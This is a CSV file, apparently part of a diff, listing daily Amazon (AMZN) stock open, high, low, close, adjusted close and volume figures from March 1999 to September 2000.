+1999-03-05,61.96875,62.25,59.1875,60.75,60.75,12176200,AMZN
+1999-03-08,60.71875,63.21875,59.625,61.09375,61.09375,10462600,AMZN
+1999-03-09,62.5625,66.625,61.71875,64.96875,64.96875,16292000,AMZN
+1999-03-10,68.375,69.46875,67.0,68.5625,68.5625,14117600,AMZN
+1999-03-11,69.875,71.375,65.5,67.4375,67.4375,16252200,AMZN
+1999-03-12,67.0,67.6875,64.3125,66.65625,66.65625,9332600,AMZN
+1999-03-15,66.5,69.5,65.5,69.46875,69.46875,7020800,AMZN
+1999-03-16,69.5,70.1875,66.375,66.90625,66.90625,7534400,AMZN
+1999-03-17,65.65625,66.75,64.125,65.5,65.5,7867400,AMZN
+1999-03-18,66.4375,70.0,66.1875,69.21875,69.21875,12300200,AMZN
+1999-03-19,70.9375,71.53125,67.5,67.53125,67.53125,10725200,AMZN
+1999-03-22,66.59375,68.25,65.25,66.0,66.0,6598400,AMZN
+1999-03-23,64.3125,64.9375,59.0,59.6875,59.6875,11216800,AMZN
+1999-03-24,58.59375,62.0,57.0,61.84375,61.84375,11543800,AMZN
+1999-03-25,64.46875,70.0,64.09375,69.9375,69.9375,16099800,AMZN
+1999-03-26,70.0,73.875,68.6875,69.53125,69.53125,24922000,AMZN
+1999-03-29,75.0,75.75,74.0,74.8125,74.8125,18888000,AMZN
+1999-03-30,76.0,84.75,75.765625,82.34375,82.34375,26177400,AMZN
+1999-03-31,85.625,89.0,82.5625,86.09375,86.09375,22094200,AMZN
+1999-04-01,89.6875,90.0625,83.75,85.5,85.5,11573200,AMZN
+1999-04-05,86.3125,93.75,85.875,93.25,93.25,15916800,AMZN
+1999-04-06,92.25,97.875,89.75,91.4375,91.4375,14531800,AMZN
+1999-04-07,93.3125,93.65625,85.625,87.90625,87.90625,13166600,AMZN
+1999-04-08,87.40625,92.0625,83.0,89.5,89.5,11487800,AMZN
+1999-04-09,89.0625,93.0,87.875,91.4375,91.4375,6839000,AMZN
+1999-04-12,88.0625,94.125,88.0,92.21875,92.21875,8569200,AMZN
+1999-04-13,93.375,96.0,89.125,89.1875,89.1875,8038800,AMZN
+1999-04-14,91.0,92.25,83.3125,84.0,84.0,9952800,AMZN
+1999-04-15,82.9375,85.25,75.5,83.625,83.625,16498400,AMZN
+1999-04-16,91.9375,95.75,90.34375,95.0,95.0,31660200,AMZN
+1999-04-19,94.5,94.5,77.5,79.46875,79.46875,28369800,AMZN
+1999-04-20,78.65625,87.15625,76.75,86.0,86.0,20005000,AMZN
+1999-04-21,86.1875,91.0,84.5,89.625,89.625,11082000,AMZN
+1999-04-22,92.15625,95.5,88.96875,95.03125,95.03125,12538200,AMZN
+1999-04-23,96.4375,108.25,95.875,105.0625,105.0625,31716800,AMZN
+1999-04-26,104.5,107.9375,102.0,103.59375,103.59375,13985000,AMZN
+1999-04-27,108.5,110.625,101.0,102.9375,102.9375,17895400,AMZN
+1999-04-28,100.0,101.0,91.1875,96.75,96.75,19473800,AMZN
+1999-04-29,86.21875,90.875,82.5,84.125,84.125,42208400,AMZN
+1999-04-30,88.5,90.0,82.5,86.03125,86.03125,17776400,AMZN
+1999-05-03,83.4375,83.53125,75.0625,75.46875,75.46875,26186400,AMZN
+1999-05-04,76.3125,80.25,70.25,71.5,71.5,21696400,AMZN
+1999-05-05,71.9375,74.125,66.9375,73.25,73.25,27709800,AMZN
+1999-05-06,74.0,75.5,67.875,68.6875,68.6875,18284400,AMZN
+1999-05-07,70.375,72.0,65.5,68.1875,68.1875,16654000,AMZN
+1999-05-10,68.3125,73.5,67.0,73.4375,73.4375,14241200,AMZN
+1999-05-11,75.34375,76.9375,72.0,74.1875,74.1875,13941400,AMZN
+1999-05-12,74.03125,74.3125,70.75,71.46875,71.46875,7327400,AMZN
+1999-05-13,72.1875,73.9375,68.0,68.0,68.0,11499000,AMZN
+1999-05-14,66.5625,67.375,64.90625,66.1875,66.1875,11266800,AMZN
+1999-05-17,65.0,69.0,60.75,68.8125,68.8125,20858200,AMZN
+1999-05-18,68.21875,68.75,65.46875,66.3125,66.3125,12407800,AMZN
+1999-05-19,66.96875,69.8125,66.75,69.78125,69.78125,12619200,AMZN
+1999-05-20,68.375,69.0,65.25,65.40625,65.40625,6894000,AMZN
+1999-05-21,65.375,66.0,62.875,64.28125,64.28125,8005600,AMZN
+1999-05-24,64.3125,64.6875,58.0,58.75,58.75,14253800,AMZN
+1999-05-25,58.625,60.5625,55.6875,55.78125,55.78125,15510200,AMZN
+1999-05-26,56.59375,60.9375,52.25,60.46875,60.46875,21158600,AMZN
+1999-05-27,59.8125,60.28125,57.0,57.28125,57.28125,13573400,AMZN
+1999-05-28,57.8125,60.1875,56.0,59.375,59.375,9680200,AMZN
+1999-06-01,55.75,56.75,52.4921875,52.90625,52.90625,20076400,AMZN
+1999-06-02,52.375,57.5,48.5625,56.0625,56.0625,36906400,AMZN
+1999-06-03,56.96875,57.25,52.25,52.53125,52.53125,17311600,AMZN
+1999-06-04,52.8125,55.0,50.8125,54.21875,54.21875,19491800,AMZN
+1999-06-07,54.28125,59.9375,54.0,58.6875,58.6875,16901400,AMZN
+1999-06-08,60.0,60.6875,55.1875,55.78125,55.78125,13844400,AMZN
+1999-06-09,56.96875,57.25,54.875,57.0,57.0,8904200,AMZN
+1999-06-10,55.9375,59.0625,55.0625,57.96875,57.96875,12710600,AMZN
+1999-06-11,57.5625,58.5,52.375,52.90625,52.90625,13886600,AMZN
+1999-06-14,51.96875,52.25,44.875,46.0,46.0,20764600,AMZN
+1999-06-15,46.125,49.875,45.3125,48.25,48.25,18309400,AMZN
+1999-06-16,50.65625,56.5,50.5,55.84375,55.84375,21707200,AMZN
+1999-06-17,55.8125,59.5625,54.8125,56.46875,56.46875,19041400,AMZN
+1999-06-18,55.96875,57.25,54.75,55.65625,55.65625,7972000,AMZN
+1999-06-21,56.78125,61.78125,55.875,61.75,61.75,16227200,AMZN
+1999-06-22,61.59375,64.75,58.25,58.75,58.75,16729400,AMZN
+1999-06-23,57.78125,60.65625,56.0625,58.875,58.875,16429800,AMZN
+1999-06-24,59.0625,59.40625,56.5,56.8125,56.8125,8355200,AMZN
+1999-06-25,58.21875,58.75,54.0625,55.09375,55.09375,9751800,AMZN
+1999-06-28,55.5,55.9375,51.21875,55.34375,55.34375,16871800,AMZN
+1999-06-29,55.125,59.125,54.375,58.03125,58.03125,15648000,AMZN
+1999-06-30,58.25,64.625,57.5,62.5625,62.5625,16906200,AMZN
+1999-07-01,62.625,63.25,59.0,61.1875,61.1875,14382800,AMZN
+1999-07-02,61.625,63.0,60.375,62.03125,62.03125,7208400,AMZN
+1999-07-06,64.0,66.65625,62.75,63.4375,63.4375,14886200,AMZN
+1999-07-07,63.0625,63.75,60.0,60.9375,60.9375,9988000,AMZN
+1999-07-08,62.8125,63.75,60.65625,62.6875,62.6875,10624400,AMZN
+1999-07-09,63.0625,63.875,62.03125,62.75,62.75,5581800,AMZN
+1999-07-12,62.5,62.75,58.0,58.6875,58.6875,10653200,AMZN
+1999-07-13,58.125,63.59375,57.5,63.0625,63.0625,20453200,AMZN
+1999-07-14,63.6875,67.5,62.90625,67.5,67.5,19403600,AMZN
+1999-07-15,67.5,70.75,66.6875,69.78125,69.78125,22763000,AMZN
+1999-07-16,69.375,71.25,68.0625,68.8125,68.8125,10297400,AMZN
+1999-07-19,68.0,68.3125,65.75,65.84375,65.84375,9438400,AMZN
+1999-07-20,64.5625,64.6875,60.03125,60.0625,60.0625,17221800,AMZN
+1999-07-21,60.5,64.125,60.125,62.71875,62.71875,17134400,AMZN
+1999-07-22,58.21875,58.5625,52.375,53.40625,53.40625,57547200,AMZN
+1999-07-23,54.90625,57.375,51.59375,57.28125,57.28125,30080600,AMZN
+1999-07-26,55.21875,57.75,52.5,52.96875,52.96875,30627600,AMZN
+1999-07-27,54.5,55.1875,50.0625,50.5,50.5,23769800,AMZN
+1999-07-28,50.9921875,53.0625,49.8125,52.875,52.875,25783600,AMZN
+1999-07-29,51.1875,52.1875,50.0,50.78125,50.78125,18748000,AMZN
+1999-07-30,51.0625,51.375,48.75,50.03125,50.03125,12057000,AMZN
+1999-08-02,49.1875,51.0625,46.96875,47.0,47.0,16967800,AMZN
+1999-08-03,48.5,48.5,44.8125,47.4375,47.4375,29139000,AMZN
+1999-08-04,46.875,48.1875,44.0,44.21875,44.21875,22411400,AMZN
+1999-08-05,43.78125,49.0,41.0,48.625,48.625,37517000,AMZN
+1999-08-06,48.3125,49.75,44.625,44.78125,44.78125,21218800,AMZN
+1999-08-09,45.75,45.75,42.28125,42.75,42.75,13041400,AMZN
+1999-08-10,42.6875,46.09375,41.0,45.5,45.5,23195000,AMZN
+1999-08-11,46.1875,47.625,42.59375,45.46875,45.46875,25655000,AMZN
+1999-08-12,45.5,47.875,44.6875,45.875,45.875,13140800,AMZN
+1999-08-13,47.5,48.71875,47.0625,48.71875,48.71875,10784800,AMZN
+1999-08-16,49.125,50.4375,47.75,49.15625,49.15625,12753200,AMZN
+1999-08-17,50.25,54.75,49.9375,54.625,54.625,23668800,AMZN
+1999-08-18,57.5625,58.75,56.25,56.5625,56.5625,28415400,AMZN
+1999-08-19,55.375,55.59375,52.5625,53.0625,53.0625,18285000,AMZN
+1999-08-20,53.125,56.78125,52.5625,56.71875,56.71875,14281200,AMZN
+1999-08-23,57.96875,60.25,57.875,59.1875,59.1875,19206000,AMZN
+1999-08-24,58.0,62.75,57.96875,60.03125,60.03125,25010000,AMZN
+1999-08-25,61.40625,66.5,60.75,66.4375,66.4375,20941400,AMZN
+1999-08-26,66.5,67.78125,63.75,64.28125,64.28125,19244200,AMZN
+1999-08-27,65.25,65.265625,62.5,64.25,64.25,12922800,AMZN
+1999-08-30,63.78125,65.0,58.9375,59.625,59.625,18494400,AMZN
+1999-08-31,59.1875,62.34375,56.09375,62.1875,62.1875,32792400,AMZN
+1999-09-01,63.5,63.5,58.75,59.53125,59.53125,21961600,AMZN
+1999-09-02,57.5,61.9375,57.375,60.0625,60.0625,16838700,AMZN
+1999-09-03,63.625,64.0,60.625,62.4375,62.4375,16435900,AMZN
+1999-09-07,63.8125,64.375,62.125,62.9375,62.9375,9008700,AMZN
+1999-09-08,62.0,63.25,60.9375,61.4375,61.4375,6976000,AMZN
+1999-09-09,63.5,64.4375,62.375,63.625,63.625,9183200,AMZN
+1999-09-10,65.9375,68.0,64.875,66.5,66.5,12420900,AMZN
+1999-09-13,65.625,66.0,62.5,63.3125,63.3125,7747600,AMZN
+1999-09-14,62.75,66.4375,62.75,66.0,66.0,8782800,AMZN
+1999-09-15,67.75,67.9375,65.0,65.5625,65.5625,7817300,AMZN
+1999-09-16,64.9375,65.8125,62.75,65.25,65.25,7058900,AMZN
+1999-09-17,65.625,66.0,62.75,63.8125,63.8125,7239500,AMZN
+1999-09-20,63.6875,65.0,62.6875,62.75,62.75,5957100,AMZN
+1999-09-21,61.625,63.9375,61.0,62.25,62.25,8232500,AMZN
+1999-09-22,62.875,66.5,60.6875,66.0,66.0,10037500,AMZN
+1999-09-23,67.0,68.75,61.234375,62.25,62.25,14373600,AMZN
+1999-09-24,62.0,66.0,61.5,65.0,65.0,10972500,AMZN
+1999-09-27,66.1875,67.875,61.875,62.5625,62.5625,14383100,AMZN
+1999-09-28,62.5,66.5,61.125,65.875,65.875,15768800,AMZN
+1999-09-29,66.5,85.0,65.75,80.75,80.75,79374400,AMZN
+1999-09-30,79.8125,81.5,76.25,79.9375,79.9375,31046200,AMZN
+1999-10-01,77.0,79.25,76.65625,77.25,77.25,10430300,AMZN
+1999-10-04,79.4375,79.75,75.75,77.0625,77.0625,9757400,AMZN
+1999-10-05,77.125,79.75,74.75,78.4375,78.4375,16420100,AMZN
+1999-10-06,79.5625,83.625,79.5,82.4375,82.4375,15532200,AMZN
+1999-10-07,85.625,90.0,83.5,87.3125,87.3125,24609400,AMZN
+1999-10-08,86.875,89.5,84.4375,89.25,89.25,11458700,AMZN
+1999-10-11,89.125,89.375,86.75,88.375,88.375,6692400,AMZN
+1999-10-12,87.6875,88.5,84.875,84.9375,84.9375,7231400,AMZN
+1999-10-13,82.5,85.0,79.5625,79.9375,79.9375,11561800,AMZN
+1999-10-14,80.5,83.375,78.4375,79.59375,79.59375,12713000,AMZN
+1999-10-15,75.875,77.0625,73.9375,75.0625,75.0625,12186900,AMZN
+1999-10-18,75.0625,76.5,71.0625,74.0625,74.0625,10793800,AMZN
+1999-10-19,77.625,78.25,75.625,76.625,76.625,7780000,AMZN
+1999-10-20,78.3125,80.625,76.34375,80.5,80.5,7735500,AMZN
+1999-10-21,77.9375,82.8125,77.0625,80.75,80.75,8961000,AMZN
+1999-10-22,81.4375,83.625,78.0,78.625,78.625,7304800,AMZN
+1999-10-25,79.0,83.0,77.9375,82.75,82.75,7180900,AMZN
+1999-10-26,83.125,84.3125,80.125,81.25,81.25,7711500,AMZN
+1999-10-27,79.375,79.375,74.8125,75.9375,75.9375,12835200,AMZN
+1999-10-28,69.5,73.125,65.875,71.0,71.0,35726400,AMZN
+1999-10-29,72.75,72.8125,69.25,70.625,70.625,9688800,AMZN
+1999-11-01,68.0625,71.875,66.3125,69.125,69.125,12824100,AMZN
+1999-11-02,69.75,70.0,65.0625,66.4375,66.4375,13243200,AMZN
+1999-11-03,68.1875,68.5,65.0,65.8125,65.8125,10772100,AMZN
+1999-11-04,67.1875,67.875,61.0,63.0625,63.0625,16759200,AMZN
+1999-11-05,64.75,65.5,62.25,64.9375,64.9375,11091400,AMZN
+1999-11-08,64.8125,80.0,63.5,78.0,78.0,32339400,AMZN
+1999-11-09,82.0,83.0625,70.0,70.8125,70.8125,26477100,AMZN
+1999-11-10,71.5625,75.0,70.125,72.0,72.0,11506700,AMZN
+1999-11-11,74.75,76.625,71.375,73.0,73.0,9293900,AMZN
+1999-11-12,73.75,75.0,70.8125,74.9375,74.9375,10319600,AMZN
+1999-11-15,75.625,76.0,73.3125,73.5,73.5,6437200,AMZN
+1999-11-16,74.25,79.625,73.75,78.9375,78.9375,15238700,AMZN
+1999-11-17,77.9375,80.0,75.4375,76.5,76.5,6657400,AMZN
+1999-11-18,76.75,78.1875,75.25,77.9375,77.9375,5810400,AMZN
+1999-11-19,77.875,78.125,76.0625,77.9375,77.9375,5760600,AMZN
+1999-11-22,77.875,82.5,76.0,80.5,80.5,10708400,AMZN
+1999-11-23,80.375,85.625,76.25,81.75,81.75,18332500,AMZN
+1999-11-24,84.25,87.75,83.25,87.25,87.25,14483100,AMZN
+1999-11-26,91.0625,95.125,90.625,93.125,93.125,11496000,AMZN
+1999-11-29,95.5,96.875,90.125,90.4375,90.4375,18053700,AMZN
+1999-11-30,88.265625,88.875,83.8125,85.0625,85.0625,13465500,AMZN
+1999-12-01,87.25,87.875,81.96875,85.0,85.0,10663600,AMZN
+1999-12-02,86.0,91.3125,85.625,89.0625,89.0625,9538700,AMZN
+1999-12-03,92.5,93.375,86.0625,86.5625,86.5625,11151200,AMZN
+1999-12-06,86.875,89.875,84.6875,87.75,87.75,9199200,AMZN
+1999-12-07,88.0,88.0,84.375,86.0625,86.0625,6727100,AMZN
+1999-12-08,86.8125,93.0,86.0,88.5625,88.5625,12867200,AMZN
+1999-12-09,95.5,113.0,93.4375,103.625,103.625,41364600,AMZN
+1999-12-10,111.9375,112.0,104.4375,106.6875,106.6875,14929000,AMZN
+1999-12-13,106.625,106.625,101.5,102.5,102.5,8653700,AMZN
+1999-12-14,103.75,104.0,93.5625,95.625,95.625,10107900,AMZN
+1999-12-15,92.875,99.4375,91.0,96.5,96.5,10133500,AMZN
+1999-12-16,98.25,98.75,93.5,94.875,94.875,7004400,AMZN
+1999-12-17,97.1875,97.625,93.8125,94.0625,94.0625,5955900,AMZN
+1999-12-20,97.75,102.0,95.0625,97.0,97.0,10566600,AMZN
+1999-12-21,96.5625,100.4375,95.5,99.875,99.875,9509500,AMZN
+1999-12-22,100.5625,100.5625,95.5,97.6875,97.6875,5921000,AMZN
+1999-12-23,98.0,99.0,89.0625,90.0,90.0,12914600,AMZN
+1999-12-27,87.75,88.25,80.0,81.125,81.125,16523800,AMZN
+1999-12-28,83.0625,86.5,81.5625,82.3125,82.3125,10304300,AMZN
+1999-12-29,83.4375,85.375,82.625,83.5,83.5,5913000,AMZN
+1999-12-30,84.625,85.125,78.5,79.0625,79.0625,9256600,AMZN
+1999-12-31,79.3125,79.375,76.0,76.125,76.125,7270700,AMZN
+2000-01-03,81.5,89.5625,79.046875,89.375,89.375,16117600,AMZN
+2000-01-04,85.375,91.5,81.75,81.9375,81.9375,17487400,AMZN
+2000-01-05,70.5,75.125,68.0,69.75,69.75,38457400,AMZN
+2000-01-06,71.3125,72.6875,64.0,65.5625,65.5625,18752000,AMZN
+2000-01-07,67.0,70.5,66.1875,69.5625,69.5625,10505400,AMZN
+2000-01-10,72.5625,72.625,65.5625,69.1875,69.1875,14757900,AMZN
+2000-01-11,66.875,70.0,65.0,66.75,66.75,10532700,AMZN
+2000-01-12,67.875,68.0,63.0,63.5625,63.5625,10804500,AMZN
+2000-01-13,64.9375,67.1875,63.125,65.9375,65.9375,10448100,AMZN
+2000-01-14,66.75,68.625,64.0,64.25,64.25,6853600,AMZN
+2000-01-18,63.4375,65.1875,63.0,64.125,64.125,5384900,AMZN
+2000-01-19,64.125,67.5,63.0,66.8125,66.8125,8245500,AMZN
+2000-01-20,66.9375,67.0,63.9375,64.75,64.75,5978000,AMZN
+2000-01-21,64.625,64.625,60.0,62.0625,62.0625,11461900,AMZN
+2000-01-24,67.5625,73.375,67.5,70.125,70.125,29170200,AMZN
+2000-01-25,70.0,71.25,66.0,69.25,69.25,9434100,AMZN
+2000-01-26,68.625,70.0,64.75,64.8125,64.8125,6558000,AMZN
+2000-01-27,65.1875,67.75,64.625,66.9375,66.9375,6784000,AMZN
+2000-01-28,65.0,66.4375,60.0,61.6875,61.6875,13777900,AMZN
+2000-01-31,60.375,64.75,58.4375,64.5625,64.5625,10697900,AMZN
+2000-02-01,67.5,70.625,64.375,67.4375,67.4375,13404600,AMZN
+2000-02-02,67.9375,72.25,67.75,69.4375,69.4375,14025900,AMZN
+2000-02-03,81.125,85.9375,77.375,84.1875,84.1875,43750000,AMZN
+2000-02-04,82.75,82.75,77.875,78.5625,78.5625,11023000,AMZN
+2000-02-07,76.1875,76.875,73.125,75.0,75.0,10129000,AMZN
+2000-02-08,74.0,84.0,73.4375,83.125,83.125,19472800,AMZN
+2000-02-09,80.546875,83.734375,80.015625,80.25,80.25,9580400,AMZN
+2000-02-10,78.5,79.875,75.5,76.1875,76.1875,9979600,AMZN
+2000-02-11,77.125,79.125,75.5,76.1875,76.1875,8309000,AMZN
+2000-02-14,75.6875,75.75,73.5625,74.4375,74.4375,5169700,AMZN
+2000-02-15,73.4375,76.1875,70.625,73.8125,73.8125,6424500,AMZN
+2000-02-16,72.75,73.4375,70.625,70.6875,70.6875,4260200,AMZN
+2000-02-17,71.25,71.3125,68.0,69.0,69.0,6129600,AMZN
+2000-02-18,68.4375,69.0,63.875,64.75,64.75,8726400,AMZN
+2000-02-22,64.9375,66.5,63.0625,63.5625,63.5625,5685800,AMZN
+2000-02-23,64.875,71.75,64.6875,70.4375,70.4375,8441200,AMZN
+2000-02-24,70.5625,71.375,65.625,68.4375,68.4375,5869300,AMZN
+2000-02-25,67.4375,69.375,65.1875,69.125,69.125,4870500,AMZN
+2000-02-28,66.5625,67.1875,64.125,65.75,65.75,5057700,AMZN
+2000-02-29,66.0,68.96875,65.875,68.875,68.875,7148500,AMZN
+2000-03-01,67.625,68.5,65.0,65.875,65.875,5576700,AMZN
+2000-03-02,64.9375,65.0,62.1875,62.5625,62.5625,7980100,AMZN
+2000-03-03,63.25,64.75,62.0625,62.5,62.5,6059500,AMZN
+2000-03-06,62.875,67.25,62.8125,63.9375,63.9375,7665800,AMZN
+2000-03-07,64.875,65.8125,62.125,63.5,63.5,4178800,AMZN
+2000-03-08,63.25,64.75,60.5625,63.625,63.625,5940700,AMZN
+2000-03-09,63.0,69.0,62.1875,68.8125,68.8125,8312500,AMZN
+2000-03-10,67.25,68.53125,65.0,66.875,66.875,3713500,AMZN
+2000-03-13,64.0,66.625,63.0,65.3125,65.3125,5634300,AMZN
+2000-03-14,66.0625,66.9375,63.375,65.625,65.625,4805300,AMZN
+2000-03-15,64.75,65.125,62.0,63.75,63.75,6082700,AMZN
+2000-03-16,62.25,66.375,60.0,66.25,66.25,9703100,AMZN
+2000-03-17,66.0625,66.375,64.5,64.8125,64.8125,5298500,AMZN
+2000-03-20,63.5,64.5,62.375,64.1875,64.1875,5813500,AMZN
+2000-03-21,65.125,73.0,62.25,72.375,72.375,17082900,AMZN
+2000-03-22,70.875,74.0,69.25,70.6875,70.6875,11566400,AMZN
+2000-03-23,69.5,70.9375,67.5,67.6875,67.6875,5442100,AMZN
+2000-03-24,74.625,75.25,71.3125,72.6875,72.6875,9746000,AMZN
+2000-03-27,72.25,75.125,71.75,73.125,73.125,4748600,AMZN
+2000-03-28,72.375,72.75,69.46875,70.125,70.125,5197600,AMZN
+2000-03-29,69.5,69.875,65.0,66.25,66.25,5886500,AMZN
+2000-03-30,64.5,67.375,64.0,66.5,66.5,5034000,AMZN
+2000-03-31,66.75,67.125,63.0,67.0,67.0,5115500,AMZN
+2000-04-03,65.4375,65.6875,62.0,63.5625,63.5625,4865400,AMZN
+2000-04-04,62.875,65.4375,55.75,63.9375,63.9375,14318000,AMZN
+2000-04-05,61.75,64.9375,60.5,62.1875,62.1875,4900000,AMZN
+2000-04-06,63.4375,65.5,61.875,64.25,64.25,6032700,AMZN
+2000-04-07,65.125,68.625,64.125,67.5625,67.5625,6052300,AMZN
+2000-04-10,67.25,68.4375,63.25,63.375,63.375,4523600,AMZN
+2000-04-11,62.5,66.0,61.25,63.375,63.375,4706600,AMZN
+2000-04-12,64.0,64.375,56.25,56.375,56.375,8695500,AMZN
+2000-04-13,57.875,58.75,47.9375,48.0,48.0,10679000,AMZN
+2000-04-14,47.875,52.375,40.8125,46.875,46.875,20074500,AMZN
+2000-04-17,45.25,52.0,44.625,47.0625,47.0625,12180900,AMZN
+2000-04-18,47.625,56.25,47.125,54.9375,54.9375,10735000,AMZN
+2000-04-19,55.3125,55.3125,51.6875,53.4375,53.4375,5373800,AMZN
+2000-04-20,53.375,53.6875,49.875,52.375,52.375,4925300,AMZN
+2000-04-24,49.375,51.5625,44.875,49.8125,49.8125,6693300,AMZN
+2000-04-25,51.8125,54.125,50.25,52.4375,52.4375,7150400,AMZN
+2000-04-26,53.3125,57.4375,52.453125,53.5,53.5,12006400,AMZN
+2000-04-27,49.3125,55.25,48.5,52.875,52.875,11266000,AMZN
+2000-04-28,54.0,55.625,53.125,55.1875,55.1875,6833800,AMZN
+2000-05-01,56.0,60.3125,55.25,59.9375,59.9375,8578500,AMZN
+2000-05-02,59.1875,60.0,55.875,56.125,56.125,7427900,AMZN
+2000-05-03,55.25,56.5625,53.0,54.125,54.125,5424800,AMZN
+2000-05-04,54.25,56.5,53.125,55.0625,55.0625,4725200,AMZN
+2000-05-05,54.625,58.625,54.125,58.5,58.5,4062100,AMZN
+2000-05-08,56.8125,59.25,55.4375,56.015625,56.015625,3950000,AMZN
+2000-05-09,56.5,57.75,53.0,56.25,56.25,4551800,AMZN
+2000-05-10,54.53125,55.375,49.0,53.3125,53.3125,8711500,AMZN
+2000-05-11,53.9375,55.75,50.9375,54.875,54.875,5580800,AMZN
+2000-05-12,54.6875,56.5,53.125,53.75,53.75,3969600,AMZN
+2000-05-15,53.625,56.5,50.875,56.0625,56.0625,4125400,AMZN
+2000-05-16,57.125,59.875,56.0,59.0625,59.0625,6432200,AMZN
+2000-05-17,57.1875,62.375,57.0,61.0,61.0,6998600,AMZN
+2000-05-18,60.375,60.875,55.125,55.375,55.375,4727000,AMZN
+2000-05-19,54.625,55.75,52.25,52.625,52.625,4610900,AMZN
+2000-05-22,53.0,53.125,46.875,51.875,51.875,8272800,AMZN
+2000-05-23,50.5,51.875,46.5,46.6875,46.6875,5837200,AMZN
+2000-05-24,46.4375,49.75,40.4375,48.5625,48.5625,11666600,AMZN
+2000-05-25,49.5,50.0,45.5,45.5,45.5,4919500,AMZN
+2000-05-26,46.25,47.75,44.0,46.5,46.5,3621000,AMZN
+2000-05-30,47.3125,51.875,47.3125,51.75,51.75,5613200,AMZN
+2000-05-31,50.75,52.25,48.125,48.3125,48.3125,6882000,AMZN
+2000-06-01,48.875,51.125,46.375,50.1875,50.1875,7622200,AMZN
+2000-06-02,52.375,58.125,52.25,57.875,57.875,8322500,AMZN
+2000-06-05,55.03125,56.25,52.5,54.5,54.5,6813200,AMZN
+2000-06-06,54.0,54.5625,50.25,50.5625,50.5625,4853100,AMZN
+2000-06-07,51.875,52.1875,50.125,51.8125,51.8125,3841200,AMZN
+2000-06-08,52.5625,53.4375,51.625,51.875,51.875,3040300,AMZN
+2000-06-09,51.9375,53.25,51.875,52.1875,52.1875,1922300,AMZN
+2000-06-12,52.1875,52.1875,47.0,48.4375,48.4375,3986000,AMZN
+2000-06-13,48.1875,49.5,46.25,49.0,49.0,4788500,AMZN
+2000-06-14,49.3125,49.875,46.0,46.4375,46.4375,5020500,AMZN
+2000-06-15,47.0,47.9375,45.3125,46.3125,46.3125,3554700,AMZN
+2000-06-16,47.25,47.4375,45.375,46.0,46.0,3070900,AMZN
+2000-06-19,45.5,45.875,43.5,45.3125,45.3125,5151500,AMZN
+2000-06-20,45.875,48.625,45.125,46.125,46.125,6199100,AMZN
+2000-06-21,45.4375,46.9375,45.0625,46.0625,46.0625,3573300,AMZN
+2000-06-22,46.1875,46.4375,41.625,42.0,42.0,10516100,AMZN
+2000-06-23,36.625,37.0,32.46875,33.875,33.875,51838200,AMZN
+2000-06-26,35.3125,35.328125,32.8125,33.9375,33.9375,21076400,AMZN
+2000-06-27,33.75,38.5,33.5,36.5,36.5,17638200,AMZN
+2000-06-28,36.875,39.9375,36.125,37.875,37.875,14874300,AMZN
+2000-06-29,37.125,38.5,36.125,37.125,37.125,8986500,AMZN
+2000-06-30,37.0,37.25,35.5,36.3125,36.3125,6451900,AMZN
+2000-07-03,36.6875,37.5,36.5,37.0,37.0,1762400,AMZN
+2000-07-05,37.0,38.5,36.375,36.5,36.5,4213600,AMZN
+2000-07-06,36.875,37.375,34.75,36.0625,36.0625,6767100,AMZN
+2000-07-07,36.125,37.0,35.25,36.125,36.125,3870600,AMZN
+2000-07-10,36.375,36.375,35.0,35.0625,35.0625,4240600,AMZN
+2000-07-11,35.1875,35.25,32.625,33.125,33.125,9896500,AMZN
+2000-07-12,35.4375,36.125,34.25,35.0625,35.0625,11265900,AMZN
+2000-07-13,35.625,36.0,34.875,35.0,35.0,8597500,AMZN
+2000-07-14,36.375,43.203125,36.3125,42.625,42.625,22436100,AMZN
+2000-07-17,42.875,43.9375,40.25,41.125,41.125,6530000,AMZN
+2000-07-18,40.125,43.625,39.5,41.75,41.75,7958400,AMZN
+2000-07-19,41.5,41.5625,39.0,40.875,40.875,4743700,AMZN
+2000-07-20,40.9375,43.375,39.5,40.3125,40.3125,6945700,AMZN
+2000-07-21,40.4375,42.5,40.4375,41.125,41.125,4712900,AMZN
+2000-07-24,41.0625,41.375,38.0625,38.75,38.75,5778200,AMZN
+2000-07-25,36.75,38.75,33.25,37.625,37.625,27752500,AMZN
+2000-07-26,35.0625,36.71875,34.0625,36.0625,36.0625,15547800,AMZN
+2000-07-27,31.4375,32.0,29.75,31.375,31.375,23579300,AMZN
+2000-07-28,31.4375,32.125,29.0,30.0,30.0,12447000,AMZN
+2000-07-31,30.0625,30.25,27.875,30.125,30.125,9478800,AMZN
+2000-08-01,30.625,32.25,30.25,30.25,30.25,8156400,AMZN
+2000-08-02,30.25,32.0,30.21875,30.8125,30.8125,4952900,AMZN
+2000-08-03,29.4375,31.75,29.3125,31.5,31.5,5144100,AMZN
+2000-08-04,31.9375,34.1875,31.5,32.5,32.5,4871100,AMZN
+2000-08-07,32.0,34.25,31.625,33.8125,33.8125,4403100,AMZN
+2000-08-08,33.25,33.375,32.4375,32.9375,32.9375,5050600,AMZN
+2000-08-09,32.375,32.375,30.375,30.875,30.875,8874400,AMZN
+2000-08-10,31.5,31.75,29.75,30.4375,30.4375,6073000,AMZN
+2000-08-11,30.5,34.0,30.3125,33.6875,33.6875,9116200,AMZN
+2000-08-14,33.5,35.1875,32.6875,34.875,34.875,6217200,AMZN
+2000-08-15,34.625,38.3125,34.375,37.5625,37.5625,8497200,AMZN
+2000-08-16,37.5625,39.875,37.53125,38.625,38.625,9833200,AMZN
+2000-08-17,38.0,39.0625,36.875,38.25,38.25,4974100,AMZN
+2000-08-18,39.25,40.125,38.9375,39.0,39.0,7371100,AMZN
+2000-08-21,39.09375,39.875,36.5,37.5,37.5,4037500,AMZN
+2000-08-22,38.125,38.1875,36.0625,36.5,36.5,3508200,AMZN
+2000-08-23,36.375,39.5,35.0,38.8125,38.8125,4721300,AMZN
+2000-08-24,39.5625,40.5,38.8125,39.375,39.375,4719000,AMZN
+2000-08-25,39.125,40.0625,38.5625,39.9375,39.9375,2708600,AMZN
+2000-08-28,38.8125,42.5,38.5625,39.125,39.125,9178500,AMZN
+2000-08-29,39.5,40.875,38.875,39.625,39.625,4521100,AMZN
+2000-08-30,42.375,43.96875,42.0,42.9375,42.9375,12919600,AMZN
+2000-08-31,43.125,43.1875,41.4375,41.5,41.5,4616300,AMZN
+2000-09-01,42.125,42.5,41.0,41.5,41.5,3347100,AMZN
+2000-09-05,40.9375,46.3125,40.25,45.6875,45.6875,10168200,AMZN
+2000-09-06,47.25,49.625,45.6875,45.875,45.875,14263200,AMZN
+2000-09-07,46.8125,47.0,43.0,43.5,43.5,7406200,AMZN
